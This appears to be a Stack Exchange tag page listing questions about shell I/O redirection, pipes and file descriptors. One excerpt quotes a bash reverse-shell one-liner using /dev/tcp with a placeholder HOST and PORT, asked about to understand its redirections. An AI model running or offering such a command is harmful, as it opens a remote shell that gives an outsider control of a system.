io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

8
votes
3answers
392 views

Command redirection to multiple files: command >file1 >file2 [duplicate]

I have this command: cat somefile >file1 >file2 After I executed this command I can't figure out why file1 has nothing in it. It should have the output of the first file (somefile), but ...
4
votes
2answers
134 views

Bash : understanding I/O redirection

I was searching a way to get a reverse shell in bash, when I found this: bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1 As I understand, stdout and stderr are sent through the ...
0
votes
1answer
68 views

Redirect command output to /dev/null

How can we redirect output of command to /dev/null? I tried it with: command > /dev/null But it didn't work.
2
votes
1answer
88 views

How to output files to another directory (Poppler - pdftotext)

I have a directory with a very large number of PDFs that I am converting to *.txt documents with Poppler pdftotext. I have the following command that does the conversion of all the files. for f in ...
0
votes
0answers
84 views

Stop stdout log being clipped (by heroku-local)

I run heroku local with the Procfile: web: start-nginx gunicorn -c gunicorn.conf.py app:app start-nginx does some environment setup, and then ends with: { nginx --some-params & $@ ; } the ...
0
votes
1answer
57 views

Why is the redirection of loop output dependent on the filename?

I have two files: a.csv and b.csv: echo $'a_header\na1' > a.csv echo $'b_header\nb1' > b.csv Now I want to remove the first line from each, and concatenate them. for file in `ls *.csv`; do ...
3
votes
1answer
67 views

Dash exec redirection error

This: set -x rm -f p; mkfifo p exec 99<>p succeeds in bash but fails ("99 not found") in dash. How do I get it to work in dash?
2
votes
2answers
46 views

Shellcheck complains that I should not to read and write the same file in the same pipeline

ShellCheck show the following error for this line of code: printf '%d' $(($(< "$1") + 1)) > "$1" Make sure not to read and write the same file in the same pipeline Is this really a problem? ...
0
votes
1answer
44 views

Is it ever possible for command redirection to HDD to fail?

I'm using Xubuntu 15.04, and sometimes have this really strange problem, originating from a XeLaTeX run. When using this typesetting system, the following system command is executed: uname -s > ...
20
votes
3answers
2k views

What does `<&-` do?

I copied a snippet of Bash to background an ssh command executed remotely: ssh user@remote <<CMD some process <&- >log 2>error & CMD What does <&- do? My guess is ...
0
votes
1answer
32 views

passing output of a program (samtools) to another program (bamToBed) fails

How should I pass output of one command to another program like this: samtools view -bf 0x2 p1163.novo.tier2.bam | bamToBed -i stdin | coverageBed -a stdin -b genes.bed But the stdin does not work ...
-1
votes
2answers
82 views

How do I Capture dd command output

I have a test script, which is used to estimate the filesize for a particular oracle export dumpfile. Content of the script is: mknod exp.pipe p dd if=exp.pipe of=/dev/null bs=1024 & exp ...
3
votes
2answers
38 views

Command substitution as target for I/O redirection

I was trying to have the output of a command as a target of redirection like this: echo .envrc >> $(git config --global core.excludesfile) But I get this error instead, where ...
0
votes
3answers
233 views

C++: How to redirect from a file to cin and display as if user typed the input

I have a simple C++ program that uses cin to read eight numbers, and I'm running it in a bash shell. When I run it in the terminal, it looks like this (the user types in the numbers 1-8): ./add8 ...
2
votes
2answers
23 views

Sub Shell Redirection Error With Variable ( while … ) $3 > $testdir/$testfile.log

My scripts executes the sub shell command along the lines of: ( while ..... ) $3>$testdir/$testfile.log I get the error: line 75: syntax error near unexpected token `$3' line 75: ` ) ...
0
votes
2answers
73 views

Printing on “standard out” and “standard error”

I'm puzzled over some terminology used in my homework: So, the way I understand the question is that I should print echo, cat, etc., which I would do like with the echo command, for example echo ...
0
votes
1answer
35 views

safe way to redirect some output using exec

I have a script that is rather "noisy". I've been asked to clean up the output so that most of the script's output goes to a log file, and the user just sees the start-up message, and the message when ...
1
vote
1answer
69 views

How to know if output is being redirected to a file? [duplicate]

I am working on displaying output like ls command (just ls, no options). And I have a working program using the system calls. But I experienced a strange behavior while testing as shown below. $ ls ...
1
vote
1answer
101 views

Can't redirect cut output

When I try to redirect the output of cut it always seems to be empty. If don't redirect it, the output shows in terminal as expected. This is true for OS X 10.10 and Linux 4.1.6. This works: ...
22
votes
3answers
662 views

What does 'exec {fd}</dev/watchdog' do in Bash

That is literal, {fd} isnt a placeholder. I have a script that does this, and does not source in anything, nor does it reference {fd} anywhere else. Is this valid bash? exec {fd}</dev/watchdog
0
votes
1answer
29 views

Having extra parameters in piping or redirection

I have two programs and I want to pipe them into each other but they take extra parameters: prog1 <inputfile> <outputfile> min max prog2 <inputfile> <outputfile> min max ...
26
votes
5answers
2k views

Why pipe to cat only to redirect? [duplicate]

I occasionally see things like: cat file | wc | cat > file2 Why do this? When will the results (or performance) differ (favourably) from simply: cat file | wc > file2
3
votes
1answer
71 views

Executing awk on each file found with find, then redirecting the result to a new filename

I am trying to take the results from find and then execute awk to print the first two columns. Then I want to redirect those results to a new file name for each file, using the existing file name with ...
4
votes
1answer
106 views

Capture output without redirection and leave it on terminal too

I need to capture output of a daemon that also includes a on-demand mode and behaves differently depending on if output goes to tty or not. Just redirecting stdout anywhere makes it go into logging ...
0
votes
1answer
87 views

Sort file “foo” and use redirection “>” to save output into the same “foo” file [duplicate]

i have a text file ~/foo: a b c a b c i use sort foo -u, and that works correctly. I can use redirection operator ">" to save output into other file (f.e.: sort foo -u > bar), but when i want to ...
1
vote
2answers
237 views

run command with sudo su in script and redirect stdin and stdout

I need to run command as another user and write to its stdin and read from its stdout. I can run command as another user only via opening new shell: sudo su anotheruser but with new opened shell i ...
5
votes
2answers
58 views

posix placement of stdin redirection (<in cmd vs cmd <in)

I always write stdin redirection after the command, because for me it's more natural to have first the command and then the redirections (if any): some-command < input-file > output-file For ...
4
votes
2answers
93 views

Capturing output/redirection of commands chained by &&

I have a series of commands a,b,c which I am chaining together with &&: a && b && c. I want to catch the output of all the commands to both stdout and stderr. a && b ...
6
votes
1answer
108 views

Extra output on input redirection

I have a folder with three files: $ ls a b c If I pipe the output of ls to wc, I get the right result: $ ls | wc -l 3 However, when I specify the input to wc as the output of ls, I get extra ...
4
votes
1answer
156 views

Pass BASH array to diff like file contents

I have two bash arrays, say: arr1=( 1 2 3 ) arr2=( 1 2 A ) and I want to compare them using diff. How could I pass the arrays as if they were the contents of a file? I tried a few variations, but ...
2
votes
1answer
50 views

Do not wait until the return for Shell redirection

I would like to redirect the output of a script (Python or any other kind) to a file. Easy to do with > or >>. But with these two the output seems to be written in the file only once the script ...
5
votes
3answers
675 views

Behaviour of “|” pipe in linux with “>” output redirection

I am executing command ls > a.txt | sort > b.txt This command is doing the below things : executing ls sorting it creating a.txt and storing sorted output to a.txt creating b.txt , but its ...
2
votes
1answer
45 views

Terminal - redirection of output to file is shortened

I am using command: ./cpp-generator > ~/log.log But when I open the log.log the file is shortened. It ends in the middle of a word. But if I run just: ./cpp-generator in terminal, the result ...
1
vote
0answers
202 views

Recording shell output for interactive commands

While looking into a shell redirection problem, I found a couple of answers that pointed me to the script command. As I understand it, script just records in- and output of the terminal, and allows me ...
2
votes
1answer
184 views

Continously writing terminal output to text file

I am running a small cli python app in terminal. It loops infinitely and outputs text to the terminal. I want to output the text to a file, and I can do that with the following command python [my cli ...
2
votes
1answer
211 views

What are the Linux shells that allow network traffic management (sending/receiving data to/from `/dev/tcp/host/port`) via redirectors?

Following this Bash tutorial, I have succeded in obtaining the code of a web page issuing simple commands by using this method: $ exec 3<>/dev/tcp/www.google.com/80 $ echo -e "GET / ...
15
votes
4answers
1k views

How can the standard input of one program be passed as an arg to another?

Let's say a program exists, which takes two arguments; input file and output file. What if I don't wish to save this output file to disk, but rather pass it straight to stdin of another program. Is ...
1
vote
2answers
291 views

How to while read line with a pipe

I am currently trying read a csv file with BASH. The 10th [$f10] value of the csv file must be greater then 0 for a given machine class and machine ID [m_class] and [m_id] (these are user defined) . ...
2
votes
1answer
133 views

I/O redirection shortcut doesn't work when at the end of a command line

I've been getting myself comfortable with I/O redirection. I've become aware of the &> shortcut for 2>&1. I believe it also works as >&. There may be a nuance to that of which I'm ...
0
votes
4answers
77 views

Excluding specific lines from being redirected [closed]

Suppose I am executing a script like this: /a/b/c/script.sh >> abc.log This means that all the contents/execution of script will be re-directed to abc.log. If I want a particular line inside ...
0
votes
1answer
57 views

Redirect stdin for multiple shell functions [closed]

I'm surprised nobody has asked this before - maybe I'm just that dumb? How to I force this script to do what I intended? #!/bin/bash function One() { IFS='' read -r -n1 CHAR echo "One: '$CHAR'" ...
0
votes
0answers
30 views

writefile() to file descriptor produces output with alignment issue

The command that produces weird output: $ vim -ec 'call writefile(["line1","line2"],"/proc/self/fd/9") | qall!' 9>&1 1>/dev/null 2>&1 line1 line2 $ Same command ...
0
votes
1answer
50 views

More succinct alternative to “lsof -p $(pidof postgres| sed -r 's/ /,/g')”

pidof returns a space separated list of pids. lsof -p requires a comma serparated one. This can be solved with sed via: lsof -p `pidof postgres| sed -r 's/ /,/g'` However, the extra pipe seems a ...
0
votes
0answers
201 views

extract text to csv file from output of reading multiple files into specific rows

I am trying to write a bash script to generate a csv file from text within multiple pdf documents. I have a script for converting pdf to text, but not for generating the csv file. Each text document ...
0
votes
1answer
82 views

Redirect all GnuPG output to /dev/null

I'm doing key generation in a sort of batch mode with GnuPG (don't ask why): echo -e 'addkey\n4\n2048\n120d\nsave' | gpg --command-fd 0 \ --edit-key $master_key_id >/dev/null 2>&1 I ...
4
votes
1answer
233 views

using pipe to run command in background

I was reading this question on rpi and noticed an interesting line that got me thinking: mkfifo tcp.stream nc -l -p 1234 > tcp.stream | omxplayer --live tcp.stream Notice the io redirection. ...
6
votes
3answers
293 views

Silent GnuPG password request with bash commands

I'm trying to hide the "output" of a gnupg command, but it seems that it is always printed. the command is: echo "thisprogramwørks" | gpg -q --status-fd 1 --no-use-agent --sign --local-user D30BDF86 ...
6
votes
1answer
111 views

zsh I/O redirection: redirecting and then piping; what is going on?

Can somebody explain what is going on in this command: echo foo >&2 | grep foo Zsh (5.0.2) prints foo twice. One seemingly to stdout and one to stderr, since running these commands: { echo ...
1
vote
0answers
184 views

Captive portal detection, popup implementation?

Based on hostapd, I m building a captive portal. - My Linux Machine provides a Wifi access. - iPad's and Android clients-tablets connect this Wifi. Generally, any client OS check if a url is ...
1
vote
2answers
149 views

How do I get the output of a program already running?

I have a python program that outputs to stdout and a log file. However, the person I am making this for wants to know if I can set it up so that he can see the output of the file, while it is ...